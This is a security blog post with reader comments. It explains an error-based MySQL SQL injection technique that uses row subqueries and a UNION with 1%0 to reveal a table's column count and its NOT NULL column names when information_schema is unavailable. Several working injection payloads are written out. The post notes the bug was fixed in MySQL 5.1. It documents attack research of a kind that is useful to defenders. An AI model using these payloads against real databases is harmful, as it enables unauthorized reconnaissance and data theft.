MySQL table and column names (update 2)

Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ‘1’%’0′ in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment:

I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name.
It is using the 1%0 trick and MySQL subqueries.

I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries”

You’d better read this in order to understand what’s next:

http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html

The hint is “The row constructor and the row returned by the subquery must contain the same number of values.”

Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name.
The sql query is expecting only one row as result.

Here is our input:
‘ AND (SELECT * FROM USER_TABLE) = (1)– -

MySQL answer:
“Operand should contain 7 column(s)”

MySQL told us that the table USER_TABLE has 7 columns! That’s great!

Now we can use the UNION and 1%0 to retrieve some column’s name:

The following query shouldn’t give you any error:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– -

Now let’s try with the first colum, simply add %0 to the first column in the UNION:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– -

MySQL answer:
“Column ‘usr_u_id’ cannot be null”

We’ve got the first column name: “usr_u_id”

Then we proceed with the other columns…

Example with the 4th column:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– -

if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name!

So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1.
Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0″ or just “null” does not work, at least I couldn’t find any other. For ‘1’%’0′ you can also use mod(‘1′,’0′).

Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice :)

update:
you can find some more information here.

More:
update1

About these ads

4 Responses to MySQL table and column names (update 2)

  1. John says:

    Hi,

    Great blog, congrats !!

    Do you know if there is some way to execute prepared statements or even create a function within select queries ? Something like SELECT CASE WHEN 1=1 THEN prepare stmt from @test END
    And after do the EXECUTE stmt ?

    Thank you !!

    • Reiners says:

      hi john,

      no that is not possible. It could be possible with stacked queries on ASP.NET but not within a normal injection into a SELECT query in any other language where stacked queries is not supported.

  2. Miguel says:

    nice entry! (I can’t stop saying that…)

    “when information_schema table is not accessible” <– what sort of methods are being used to prevent information_schema access?

    • Reiners says:

      hm good question, I always thought you can
      revoke all privileges on information_schema.* from ‘test’@’localhost’
      or that you can manually insert rules to mysql.tables_priv or information_schema like:
      insert into schema_privileges values(“‘test’@’localhost'”, null, ‘information_schema’, ‘SELECT’, ‘NO’);

      but even my super user does not have privileges to do that:
      ERROR 1044 (42000): Access denied for user ‘Reiners’@’localhost’ to database ‘information_schema’
      maybe my setup is broken?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 87 other followers

%d bloggers like this: